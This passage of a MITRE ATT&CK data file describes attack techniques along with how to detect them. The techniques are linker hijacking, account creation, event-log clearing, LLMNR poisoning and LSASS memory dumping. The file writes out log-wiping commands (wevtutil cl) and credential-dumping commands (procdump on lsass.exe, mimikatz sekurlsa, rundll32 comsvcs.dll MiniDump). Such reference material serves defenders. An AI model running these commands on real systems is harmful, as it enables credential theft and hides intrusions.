LD.SO","url":"https://www.man7.org/linux/man-pages/man8/ld.so.8.html","description":"Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."},{"source_name":"TLDP Shared Libraries","url":"https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html","description":"The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020."},{"source_name":"Apple Doco Archive Dynamic Libraries","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html","description":"Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021."},{"source_name":"Baeldung LD_PRELOAD","url":"https://www.baeldung.com/linux/ld_preload-trick-what-is","description":"baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021."},{"source_name":"Code Injection on Linux and macOS","url":"https://www.datawire.io/code-injection-on-linux-and-macos/","description":"Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017."},{"url":"http://hick.org/code/skape/papers/needle.txt","description":"skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.","source_name":"Uninformed Needle"},{"url":"http://phrack.org/issues/51/8.html","description":"halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.","source_name":"Phrack halfdead 1997"},{"source_name":"Brown Exploiting Linkers","url":"http://www.nth-dimension.org.uk/pub/BTL.pdf","description":"Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021."},{"source_name":"TheEvilBit DYLD_INSERT_LIBRARIES","url":"https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/","description":"Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020."},{"source_name":"Timac DYLD_INSERT_LIBRARIES","url":"https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/","description":"Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020."},{"source_name":"Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass","url":"https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191","description":"Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021."}],"modified":"2021-04-27T19:55:18.453Z","name":"Dynamic Linker Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","File: File Creation","Process: Process Creation","Command: Command Execution","Module: Module Load"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","type":"attack-pattern","created":"2020-01-28T13:50:22.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1136.001","url":"https://attack.mitre.org/techniques/T1136/001"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}],"modified":"2021-08-12T13:04:14.248Z","name":"Local Account","description":"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account. On macOS systems the <code>dscl -create</code> command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for processes and command-line parameters associated with local account creation, such as <code>net user /add</code> , <code>useradd</code> , and <code>dscl -create</code> . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","type":"attack-pattern","created":"2017-05-31T21:31:09.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1092","external_id":"T1092"}],"modified":"2020-07-14T19:44:50.871Z","name":"Communication Through Removable Media","description":"Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media is mounted.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Creation","Drive: Drive Access"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","created":"2020-01-28T17:05:14.707Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1070.001","url":"https://attack.mitre.org/techniques/T1070/001"},{"source_name":"Microsoft Clear-EventLog","url":"https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog","description":"Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018."},{"source_name":"Microsoft EventLog.Clear","url":"https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx","description":"Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018."},{"source_name":"Microsoft wevtutil Oct 2017","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil","description":"Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).","modified":"2022-04-20T13:02:07.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Clear Windows Event Logs","x_mitre_detection":"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: OS API Execution","File: File Deletion","Command: Command Execution"],"x_mitre_system_requirements":["Clearing the Windows event logs requires Administrator permissions"],"x_mitre_defense_bypassed":["Anti Virus","Host Intrusion Prevention Systems","Log Analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","type":"attack-pattern","created":"2020-10-01T01:09:53.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1585.002","url":"https://attack.mitre.org/techniques/T1585/002"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"source_name":"Trend Micro R980 2016","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/","description":"Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020."}],"modified":"2021-04-15T03:09:59.862Z","name":"Email Accounts","description":"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Eric Kuehn, Secure Ideas","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","type":"attack-pattern","created":"2020-02-11T19:08:51.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1557.001","url":"https://attack.mitre.org/techniques/T1557/001"},{"url":"https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution","description":"Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.","source_name":"Wikipedia LLMNR"},{"url":"https://technet.microsoft.com/library/cc958811.aspx","description":"Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.","source_name":"TechNet NetBIOS"},{"source_name":"byt3bl33d3r NTLM Relaying","url":"https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html","description":"Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."},{"source_name":"Secure Ideas SMB Relay","url":"https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html","description":"Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."},{"url":"https://github.com/nomex/nbnspoof","description":"Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.","source_name":"GitHub NBNSpoof"},{"url":"https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response","description":"Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.","source_name":"Rapid7 LLMNR Spoofer"},{"url":"https://github.com/SpiderLabs/Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","source_name":"GitHub Responder"},{"url":"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning","description":"Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.","source_name":"Sternsecurity LLMNR-NBTNS"},{"url":"https://github.com/Kevin-Robertson/Conveigh","description":"Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.","source_name":"GitHub Conveigh"}],"modified":"2021-09-28T13:09:50.809Z","name":"LLMNR/NBT-NS Poisoning and SMB Relay","description":"By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Service: Service Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["CrowdStrike Falcon OverWatch","Jan Miller, CrowdStrike"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1222","url":"https://attack.mitre.org/techniques/T1222"},{"url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls1 June 2018"},{"url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","source_name":"Hybrid Analysis Icacls2 May 2018"},{"url":"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/","description":"Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.","source_name":"EventTracker File Permissions Feb 2014"}],"modified":"2021-09-13T21:08:10.406Z","name":"File and Directory Permissions Modification","description":"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Command: Command Execution","Process: Process Creation","File: File Metadata"],"x_mitre_defense_bypassed":["File system access controls"],"x_mitre_permissions_required":["User","Administrator","SYSTEM","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington","Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","type":"attack-pattern","created":"2020-02-11T18:41:44.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.001","url":"https://attack.mitre.org/techniques/T1003/001"},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."},{"source_name":"Symantec Attacks Against Government Sector","url":"https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf","description":"Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021."},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/","description":"Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.","source_name":"TechNet Blogs Credential Protection"},{"description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","source_name":"Medium Detecting Attempts to Steal Passwords from Memory"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2021-10-15T19:55:01.368Z","name":"LSASS Memory","description":"Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Access","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e","created":"2019-12-03T12:59:36.749Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1053.001","url":"https://attack.mitre.org/techniques/T1053/001"},{"source_name":"rowland linux at 2019","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/","description":"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."},{"source_name":"GTFObins at","url":"https://gtfobins.github.io/gtfobins/at/","description":"Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."},{"source_name":"Kifarunix - Task Scheduling in Linux","url":"https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/","description":"Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."}],"x_mitre_deprecated":false,"revoked":true,"description":"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)","modified":"2022-04-16T20:45:01.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"At (Linux)","x_mitre_detection":"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral 